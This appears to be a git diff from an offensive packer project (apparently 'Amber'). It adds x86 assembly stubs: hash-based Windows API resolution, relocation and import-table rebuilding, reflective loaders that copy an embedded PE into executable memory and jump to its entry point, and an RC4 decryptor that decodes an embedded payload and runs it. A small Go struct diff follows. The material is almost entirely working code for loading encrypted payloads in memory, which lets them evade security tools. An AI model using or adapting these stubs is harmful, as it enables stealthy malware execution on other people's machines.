pop edx ; Pop off the hash value our caller will have pushed
|
||||
mov eax,[eax] ; Get the add ress of the desired API
|
||||
call eax ; Call API
|
||||
push ebx ; Push back the return value
|
||||
ret ;
|
||||
; We now automagically return to the correct caller...
|
||||
not_found:
|
||||
add esp,0x0F ; Fix the stack
|
||||
popad ; Restore all registers
|
||||
ret ; Return
|
||||
; (API is not found)
|
||||
@@ -0,0 +1,48 @@
|
||||
;
|
||||
; Author: Ege Balcı <ege.balci@protonmail.com>
|
||||
; Version: 1.0
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
xor edx,edx ; Zero out the edx
|
||||
Relocate:
|
||||
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||
mov ecx,[eax+esi+0xA4] ; Base relocation table size
|
||||
mov eax,[eax+esi+0xA0] ; Base relocation table RVA
|
||||
add eax,esi ; Base relocation table memory address
|
||||
add ecx,eax ; End of base relocation table
|
||||
CalcDelta:
|
||||
mov edi,[esp] ; Move the new base address to edi
|
||||
sub edi,ebx ; Delta value
|
||||
push dword [eax] ; Reloc RVA
|
||||
push dword [eax+4] ; Reloc table size
|
||||
add eax,0x08 ; Move to the reloc descriptor
|
||||
jmp Fix ; Start fixing
|
||||
GetRVA:
|
||||
cmp ecx,eax ; Check if the end of the reloc section ?
|
||||
jle RelocFin ; If yes goto fin
|
||||
add esp,0x08 ; Deallocate old reloc RVA and reloc table size variables
|
||||
push dword [eax] ; Push new reloc RVA
|
||||
push dword [eax+4] ; Push new reloc table size
|
||||
add eax,0x08 ; Move 8 bytes
|
||||
Fix:
|
||||
cmp word [esp],0x08 ; Check if the end of the reloc block
|
||||
jz GetRVA ; If yes set the next block RVA
|
||||
mov dx,word [eax] ; Move the reloc desc to dx
|
||||
cmp dx,word 0x00 ; Check if it is a padding word
|
||||
je Pass
|
||||
and dx,0x0FFF ; Get the last 12 bits
|
||||
add edx,[esp+4] ; Add block RVA to desc value
|
||||
add edx,esi ; Add the start address of the image
|
||||
add dword [edx],edi ; Add the delta value to calculated absolute address
|
||||
Pass:
|
||||
sub dword [esp],0x02 ; Decrease the index
|
||||
add eax,0x02 ; Move to the next reloc desc.
|
||||
xor edx,edx ; Zero out edx
|
||||
jmp Fix ; Loop
|
||||
RelocFin:
|
||||
add esp,0x08 ; Deallocate all vars
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,83 @@
|
||||
;
|
||||
; Author: Ege Balcı <ege.balci@invictuseurope.com>
|
||||
; Version: 1.0
|
||||
;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
BuildImportTable:
|
||||
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||
mov eax,[eax+esi+0x80] ; Import table RVA
|
||||
add eax,esi ; Import table memory address (first image import descriptor)
|
||||
push eax ; Save import descriptor to stack
|
||||
GetDLLs:
|
||||
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
|
||||
jz Complete ; If yes building process is done
|
||||
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
|
||||
add eax,esi ; Get the dll name address
|
||||
call LoadLibraryA ; Load the library
|
||||
mov ebx,eax ; Move the dll handle to ebx
|
||||
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
||||
call GetProcs ; Resolve all windows API function addresses
|
||||
add dword [esp],0x14 ; Move to the next import descriptor
|
||||
mov eax,[esp] ; Set the new import descriptor address to eax
|
||||
jmp GetDLLs
|
||||
;-----------------------------------------------------------------------------------
|
||||
GetProcs:
|
||||
push ecx ; Save ecx to stack
|
||||
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
|
||||
add [esp],esi ; Get the IAT memory address
|
||||
mov eax,[eax] ; Set the import names table RVA to eax
|
||||
add eax,esi ; Get the current import descriptor's import names table address
|
||||
push eax ; Save it to stack
|
||||
Resolve:
|
||||
cmp dword [eax],0x00 ; Check if end of the import names table
|
||||
jz AllResolved ; If yes resolving process is done
|
||||
mov eax,[eax] ; Get the RVA of function hint to eax
|
||||
cmp eax,0x80000000 ; Check if the high order bit is set
|
||||
js NameResolve ; If high order bit is not set resolve with INT entry
|
||||
sub eax,0x80000000 ; Zero out the high bit
|
||||
call GetProcAddress ; Get the API address with hint
|
||||
jmp InsertIAT ; Insert the address of API tı IAT
|
||||
NameResolve:
|
||||
add eax,esi ; Set the address of function hint
|
||||
add dword eax,0x02 ; Move to function name
|
||||
call GetProcAddress ; Get the function address to eax
|
||||
InsertIAT:
|
||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||
mov [ecx],eax ; Insert the function address to IAT
|
||||
add dword [esp],0x04 ; Increase the import names table index
|
||||
add dword [esp+4],0x04 ; Increase the IAT index
|
||||
mov eax,[esp] ; Set the address of import names table address to eax
|
||||
jmp Resolve ; Loop
|
||||
AllResolved:
|
||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||
mov dword [ecx],0x00 ; Insert a NULL dword
|
||||
add esp,0x08 ; Deallocate index values
|
||||
pop ecx ; Put back the ecx value
|
||||
ret ; <-
|
||||
;-----------------------------------------------------------------------------------
|
||||
LoadLibraryA:
|
||||
push ecx ; Save ecx to stack
|
||||
push edx ; Save edx to stack
|
||||
push eax ; Push the address of linrary name string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA([esp+4])
|
||||
pop edx ; Retreive edx
|
||||
pop ecx ; Retreive ecx
|
||||
ret ; <-
|
||||
;-----------------------------------------------------------------------------------
|
||||
GetProcAddress:
|
||||
push ecx ; Save ecx to stack
|
||||
push edx ; Save edx to stack
|
||||
push eax ; Push the address of proc name string
|
||||
push ebx ; Push the dll handle
|
||||
push 0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" )
|
||||
call ebp ; GetProcAddress(ebx,[esp+4])
|
||||
pop edx ; Retrieve edx
|
||||
pop ecx ; Retrieve ecx
|
||||
ret ; <-
|
||||
;-----------------------------------------------------------------------------------
|
||||
|
||||
Complete:
|
||||
@@ -0,0 +1,100 @@
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Version: 1.0 (24 July 2009)
|
||||
; Size: 130 bytes
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
|
||||
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
|
||||
; Output: The return value from the API call will be in EAX.
|
||||
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
|
||||
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
|
||||
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
|
||||
; Note: This function is unable to call forwarded exports.
|
||||
|
||||
api_call:
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
mov ebp, esp ; Create a new stack frame
|
||||
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
|
||||
mov edx, [fs:eax+48] ; Get a pointer to the PEB
|
||||
mov edx, [edx+12] ; Get PEB->Ldr
|
||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop until we have read enough
|
||||
|
||||
; We now have the module hash computed
|
||||
push edx ; Save the current position in the module list for later
|
||||
push edi ; Save the current module hash for later
|
||||
; Proceed to iterate the export address table,
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov ecx, [edx+60] ; Get PE header
|
||||
|
||||
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
||||
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
|
||||
jecxz get_next_mod1 ; If no EAT present, process the next module
|
||||
add ecx, edx ; Add the modules base address
|
||||
push ecx ; Save the current modules EAT
|
||||
mov ebx, [ecx+32] ; Get the rva of the function names
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov ecx, [ecx+24] ; Get the number of function names
|
||||
; now ecx returns to its regularly scheduled counter duties
|
||||
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec ecx ; Decrement the function name counter
|
||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||
add esi, edx ; Add the modules base address
|
||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searching for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop eax ; Restore the current modules EAT
|
||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the desired function...
|
||||
finish:
|
||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||
pop ebx ; Clear off the current modules hash
|
||||
pop ebx ; Clear off the current position in the module list
|
||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||
pop edx ; Pop off the hash value our caller will have pushed
|
||||
push ecx ; Push back the correct return value
|
||||
jmp eax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
|
||||
get_next_mod: ;
|
||||
pop edi ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
mov edx, [edx] ; Get the next module
|
||||
jmp short next_mod ; Process this module
|
||||
@@ -0,0 +1,83 @@
|
||||
;
|
||||
; Author: Ege Balcı <ege.balci@invictuseurope.com>
|
||||
; Version: 1.0
|
||||
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
BuildImportTable:
|
||||
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||
mov eax,[eax+esi+0x80] ; Import table RVA
|
||||
add eax,esi ; Import table memory address (first image import descriptor)
|
||||
push eax ; Save import descriptor to stack
|
||||
GetDLLs:
|
||||
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
|
||||
jz Complete ; If yes building process is done
|
||||
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
|
||||
add eax,esi ; Get the dll name address
|
||||
call LoadLibraryA ; Load the library
|
||||
mov ebx,eax ; Move the dll handle to ebx
|
||||
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
||||
call GetProcs ; Resolve all windows API function addresses
|
||||
add dword [esp],0x14 ; Move to the next import descriptor
|
||||
mov eax,[esp] ; Set the new import descriptor address to eax
|
||||
jmp GetDLLs
|
||||
;-----------------------------------------------------------------------------------
|
||||
GetProcs:
|
||||
push ecx ; Save ecx to stack
|
||||
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
|
||||
add [esp],esi ; Get the IAT memory address
|
||||
mov eax,[eax] ; Set the import names table RVA to eax
|
||||
add eax,esi ; Get the current import descriptor's import names table address
|
||||
push eax ; Save it to stack
|
||||
Resolve:
|
||||
cmp dword [eax],0x00 ; Check if end of the import names table
|
||||
jz AllResolved ; If yes resolving process is done
|
||||
mov eax,[eax] ; Get the RVA of function hint to eax
|
||||
cmp eax,0x80000000 ; Check if the high order bit is set
|
||||
js NameResolve ; If high order bit is not set resolve with INT entry
|
||||
sub eax,0x80000000 ; Zero out the high bit
|
||||
call GetProcAddress ; Get the API address with hint
|
||||
jmp InsertIAT ; Insert the address of API tı IAT
|
||||
NameResolve:
|
||||
add eax,esi ; Set the address of function hint
|
||||
add dword eax,0x02 ; Move to function name
|
||||
call GetProcAddress ; Get the function address to eax
|
||||
InsertIAT:
|
||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||
mov [ecx],eax ; Insert the function address to IAT
|
||||
add dword [esp],0x04 ; Increase the import names table index
|
||||
add dword [esp+4],0x04 ; Increase the IAT index
|
||||
mov eax,[esp] ; Set the address of import names table address to eax
|
||||
jmp Resolve ; Loop
|
||||
AllResolved:
|
||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||
mov dword [ecx],0x00 ; Insert a NULL dword
|
||||
add esp,0x08 ; Deallocate index values
|
||||
pop ecx ; Put back the ecx value
|
||||
ret ; <-
|
||||
;-----------------------------------------------------------------------------------
|
||||
LoadLibraryA:
|
||||
push ecx ; Save ecx to stack
|
||||
push edx ; Save edx to stack
|
||||
push eax ; Push the address of linrary name string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA([esp+4])
|
||||
pop edx ; Retreive edx
|
||||
pop ecx ; Retreive ecx
|
||||
ret ; <-
|
||||
;-----------------------------------------------------------------------------------
|
||||
GetProcAddress:
|
||||
push ecx ; Save ecx to stack
|
||||
push edx ; Save edx to stack
|
||||
push eax ; Push the address of proc name string
|
||||
push ebx ; Push the dll handle
|
||||
push 0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" )
|
||||
call ebp ; GetProcAddress(ebx,[esp+4])
|
||||
pop edx ; Retrieve edx
|
||||
pop ecx ; Retrieve ecx
|
||||
ret ; <-
|
||||
;-----------------------------------------------------------------------------------
|
||||
Complete:
|
||||
pop eax ; Clean out the stack
|
||||
@@ -0,0 +1,110 @@
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Author: Ege Balcı <ege.balci[at]invictuseurope[dot]com>
|
||||
; Compatible: Windows 10/8.1/8/7/2008/Vista/2003/XP/2000/NT4
|
||||
; Version: 1.0 (25 January 2018)
|
||||
; Size: 177 bytes
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
; This block locates addresses from import address table with given ror(13) hash value.
|
||||
; Design is inpired from Stephen Fewer's hash api.
|
||||
|
||||
[BITS 32]
|
||||
|
||||
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
|
||||
; Output: The return value from the API call will be in EAX.
|
||||
; Clobbers: EAX, EBX, ECX and EDX (NOT !! the normal stdcall calling convention because EBX is clobbered)
|
||||
; Un-Clobbered: ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
|
||||
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
|
||||
; Note: This function is unable to call forwarded exports.
|
||||
|
||||
%define ROTATION 0x0D ; Rotation value for ROR hash
|
||||
|
||||
set_essentials:
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
|
||||
mov edx,[fs:eax+0x30] ; Get a pointer to the PEB
|
||||
mov edx,[edx+0x0C] ; Get PEB->Ldr
|
||||
mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list
|
||||
mov edx,[edx+0x10] ; Get this modules base address
|
||||
push edx ; Save the image base to stack (will use this alot)
|
||||
add edx,[edx+0x3C] ; "PE" Header
|
||||
mov edx,[edx+0x80] ; Import table RVA
|
||||
add edx,[esp] ; Address of Import Table
|
||||
push edx ; Save the &IT to stack (will use this alot)
|
||||
mov esi,[esp+4] ; Move the image base to ESI
|
||||
sub esp,0x08 ; Allocate space for import descriptor counter & hash
|
||||
sub edx,0x14 ; Prepare the import descriptor pointer for processing
|
||||
next_desc:
|
||||
add edx,0x14 ; Get the next import descriptor
|
||||
cmp dword [edx],0x00 ; Check if import descriptor valid
|
||||
jz not_found ; If import name array RVA is zero finish parsing
|
||||
mov esi,[esp+0x08] ; Move the import table address to esi
|
||||
mov si,[edx+0x0C] ; Get pointer to module name string RVA
|
||||
xor edi,edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror edi,ROTATION ; Rotate right our hash value
|
||||
add edi,eax ; Add the next byte of the name
|
||||
ror edi,ROTATION ; In order to calculate the same hash values as Stephen Fewer's hash API we need to rotate one more and add a null byte.
|
||||
test al,al ; Check if we read all
|
||||
jnz loop_modname
|
||||
; We now have the module hash computed
|
||||
mov [esp+4],edx ; Save the current position in the module list for later
|
||||
mov [esp],edi ; Save the current module hash for later
|
||||
; Proceed to iterate the export address table,
|
||||
mov ecx,[edx] ; Get the RVA of import names table
|
||||
add ecx,[esp+0x0C] ; Add image base and get address of import names table
|
||||
sub ecx,0x04 ; Go 4 byte back
|
||||
get_next_func:
|
||||
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
||||
add ecx,0x04 ; 4 byte forward
|
||||
cmp dword [ecx],0x00 ; Check if end of INT
|
||||
jz next_desc ; If no INT present, process the next import descriptor
|
||||
mov esi,[ecx] ; Get the RVA of func name hint
|
||||
cmp esi,0x80000000 ; Check if the high order bit is set
|
||||
jns get_next_func ; If not there is no function name string :(
|
||||
add esi,[esp+0x0C] ; Add the image base and get the address of function hint
|
||||
add dword esi,0x02 ; Move 2 bytes forward to asci function name
|
||||
; now ecx returns to its regularly scheduled counter duties
|
||||
; Computing the module hash + function hash
|
||||
xor edi,edi ; Clear EDI which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi,ROTATION ; Rotate right our hash value
|
||||
add edi,eax ; Add the next byte of the name
|
||||
cmp al,ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi,[esp] ; Add the current module hash to the function hash
|
||||
cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT
|
||||
mov edx,[edx] ; Get the import names table RVA of current import descriptor
|
||||
add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor
|
||||
sub ecx,edx ; Find the function array index ?
|
||||
add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA
|
||||
add eax,ecx ; Add the function index
|
||||
; Now we clean the stack
|
||||
|
||||
; We now fix up the stack and perform the call to the desired function...
|
||||
finish:
|
||||
mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||
add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address
|
||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||
pop ebx ; Pop off the origional return address our caller will have pushed
|
||||
pop edx ; Pop off the hash value our caller will have pushed
|
||||
mov eax,[eax] ; Get the add ress of the desired API
|
||||
call eax ; Call API
|
||||
push ebx ; Push back the return value
|
||||
ret ;
|
||||
; We now automagically return to the correct caller...
|
||||
not_found:
|
||||
add esp,0x0F ; Fix the stack
|
||||
popad ; Restore all registers
|
||||
ret ; Return
|
||||
; (API is not found)
|
||||
@@ -0,0 +1,49 @@
|
||||
;
|
||||
; Author: Ege Balcı <ege.balci@invictuseurope.com>
|
||||
; Version: 1.0
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
call Stub
|
||||
PE:
|
||||
incbin "Mem.map" ; PE file image
|
||||
ImageSize: equ $-PE
|
||||
Stub:
|
||||
pop esi ; Get the address of image to esi
|
||||
call IAT_API ;
|
||||
%include "iat_api.asm" ;
|
||||
IAT_API:
|
||||
pop ebp ; Pop the address of iat_api to ebp
|
||||
call GetAOE
|
||||
push 0x00000000 ; Allocate a DWORD variable inside stack
|
||||
push esp ; lpflOldProtect
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push ImageSize ; dwSize
|
||||
push ebx ; lpAddress
|
||||
push 0xC38AE110 ; hash( "kernel32.dll", "VirtualProtect" )
|
||||
call ebp ; VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, lpflOldProtect)
|
||||
test eax,eax ; Check success
|
||||
jz Fail ; If VirtualProtect fails don't bother :/
|
||||
%include "BuildImportTable.asm" ; Call the module responsible for building the import address table
|
||||
xor ecx,ecx ; Zero out the ECX
|
||||
call GetAOE ; Get image base and AOE
|
||||
push ebx ; Store the image base to stack
|
||||
add [esp],eax ; Add the AOE value
|
||||
Memcpy:
|
||||
mov al,[esi] ; Move 1 byte of PE image to AL register
|
||||
mov [ebx],al ; Move 1 byte of PE image to image base
|
||||
inc esi ; Increase PE image index
|
||||
inc ebx ; Increase image base index
|
||||
inc ecx ; Decrease loop counter
|
||||
cmp ecx,ImageSize ; Check if ECX is 0
|
||||
jnz Memcpy ; If not loop
|
||||
mov dword eax,[esp] ; Copy the AOEP to eax
|
||||
ret ; Return to the AOEP
|
||||
GetAOE:
|
||||
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
|
||||
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
|
||||
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
|
||||
ret ; <-
|
||||
Fail:
|
||||
ret ; VirtualProtect failed :(
|
||||
@@ -0,0 +1,50 @@
|
||||
;
|
||||
; Author: Ege Balcı <ege.balci@invictuseurope.com>
|
||||
; Version: 1.0
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld
|
||||
call Start
|
||||
%include "block_api.asm"
|
||||
GetAOE:
|
||||
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
|
||||
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
|
||||
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
|
||||
ret ; <-
|
||||
Start:
|
||||
pop ebp
|
||||
call Stub
|
||||
PE:
|
||||
incbin "Mem.map" ; PE file image
|
||||
ImageSize: equ $-PE
|
||||
Stub:
|
||||
pop esi ; Get the address of image to esi
|
||||
call GetAOE
|
||||
push 0x00000000 ; Allocate a DWORD variable inside stack
|
||||
push esp ; lpflOldProtect
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push ImageSize ; dwSize
|
||||
push ebx ; lpAddress
|
||||
push 0xC38AE110 ; hash( "kernel32.dll", "VirtualProtect" )
|
||||
call ebp ; VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, lpflOldProtect)
|
||||
test eax,eax ; Check success
|
||||
jz Fail ; If VirtualProtect fails we are FUCKED !
|
||||
%include "BuildImportTable.asm" ; Call the module responsible for building the import address table
|
||||
xor ecx,ecx ; Zero out the ECX
|
||||
call GetAOE ; Get image base and AOE
|
||||
push ebx ; Store the image base to stack
|
||||
add [esp],eax ; Add the AOE value
|
||||
Memcpy:
|
||||
mov al,[esi] ; Move 1 byte of PE image to AL register
|
||||
mov [ebx],al ; Move 1 byte of PE image to image base
|
||||
inc esi ; Increase PE image index
|
||||
inc ebx ; Increase image base index
|
||||
inc ecx ; Decrease loop counter
|
||||
cmp ecx,ImageSize ; Check if ECX is 0
|
||||
jnz Memcpy ; If not loop
|
||||
mov dword eax,[esp] ; Copy the AOEP to eax
|
||||
ret ; Return to the AOEP
|
||||
Fail:
|
||||
ret ; VirtualProtect failed :(
|
||||
@@ -0,0 +1,61 @@
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Authors: Michael Schierl, Ege Balcı
|
||||
; Version: 2.0 (02 December 2017)
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP - Data to decode
|
||||
; ESI - Key
|
||||
; ECX - Data size
|
||||
; EDI - Scratch place for S-box
|
||||
; Direction flag has to be cleared
|
||||
; Output: None. Data is decoded in place.
|
||||
; Clobbers: EAX, EBX, ECX, EDX, EBP
|
||||
|
||||
cld
|
||||
call start
|
||||
Payload:
|
||||
incbin "../Payload.rc4"
|
||||
PSize: equ $-Payload
|
||||
Key:
|
||||
incbin "../Payload.key"
|
||||
KSize: equ $-Key
|
||||
; Initialize S-box
|
||||
start:
|
||||
pop ebp ; Pop out the address of payload to ebp
|
||||
lea esi,[ebp+PSize] ; Load the address of key to esi
|
||||
mov ecx,PSize ; Move the size of the amber payload to ecx
|
||||
mov edi,esp ; Set the address of stack as scratch box
|
||||
xor eax, eax ; Start with 0
|
||||
init:
|
||||
stosb ; Store next SBox byte S[i] = i
|
||||
inc al ; Increase byte to write (EDI is increased automatically)
|
||||
jnz init ; Loop until we wrap around
|
||||
sub edi, 0x100 ; Restore EDI
|
||||
; Permute S-box according to key
|
||||
xor ebx, ebx ; Clear EBX (EAX is already cleared)
|
||||
permute:
|
||||
add bl,[edi+eax] ; BL += S[AL] + KEY[AL % sizeof(Key)]
|
||||
mov edx,eax ;
|
||||
and dl,KSize-1 ; dl & sizeof(Key)
|
||||
add bl,[esi+edx] ; Move next byte of key to bl
|
||||
mov dl,[edi+eax] ; swap S[AL] and S[BL]
|
||||
xchg dl,[edi+ebx] ; ..
|
||||
mov [edi+eax], dl ; ..
|
||||
inc al ; AL += 1 until we wrap around
|
||||
jnz permute ;
|
||||
; Decryption loop
|
||||
xor ebx, ebx ; Clear EBX (EAX is already cleared)
|
||||
decrypt:
|
||||
inc al ; AL += 1
|
||||
add bl,[edi+eax] ; BL += S[AL]
|
||||
mov dl,[edi+eax] ; swap S[AL] and S[BL]
|
||||
xchg dl,[edi+ebx] ;
|
||||
mov [edi+eax], dl ;
|
||||
add dl,[edi+ebx] ; DL = S[AL]+S[BL]
|
||||
mov dl,[edi+edx] ; DL = S[DL]
|
||||
xor [ebp],dl ; [EBP] ^= DL
|
||||
inc ebp ; Advance data pointer
|
||||
dec ecx ; Reduce counter
|
||||
jnz decrypt ; Until finished
|
||||
jmp Payload
|
||||
+10
-12
@@ -1,6 +1,5 @@
|
||||
package main
|
||||
|
||||
import "gopkg.in/cheggaaa/pb.v1"
|
||||
import "github.com/fatih/color"
|
||||
|
||||
const VERSION string = "1.4.0"
|
||||
@@ -16,22 +15,22 @@ type PEID struct {
|
||||
staged bool
|
||||
iat bool
|
||||
resource bool
|
||||
scrape bool
|
||||
scrape bool
|
||||
verbose bool
|
||||
debug bool
|
||||
help bool
|
||||
clean bool
|
||||
help bool
|
||||
clean bool
|
||||
|
||||
IgnoreIntegrity bool
|
||||
|
||||
//Analysis...
|
||||
FileSize string
|
||||
dll bool
|
||||
aslr bool
|
||||
opt OptionalHeader
|
||||
VP string
|
||||
GPA string
|
||||
LLA string
|
||||
FileSize string
|
||||
dll bool
|
||||
aslr bool
|
||||
opt OptionalHeader
|
||||
VP string
|
||||
GPA string
|
||||
LLA string
|
||||
}
|
||||
|
||||
type OptionalHeader struct {
|
||||
@@ -72,7 +71,6 @@ type DataDirectory struct {
|
||||
Size uint32
|
||||
}
|
||||
|
||||
|
||||
var red *color.Color = color.New(color.FgRed)
|
||||
var BoldRed *color.Color = red.Add(color.Bold)
|
||||
var blue *color.Color = color.New(color.FgBlue)
|
||||
|
||||
Reference in New Issue
Block a user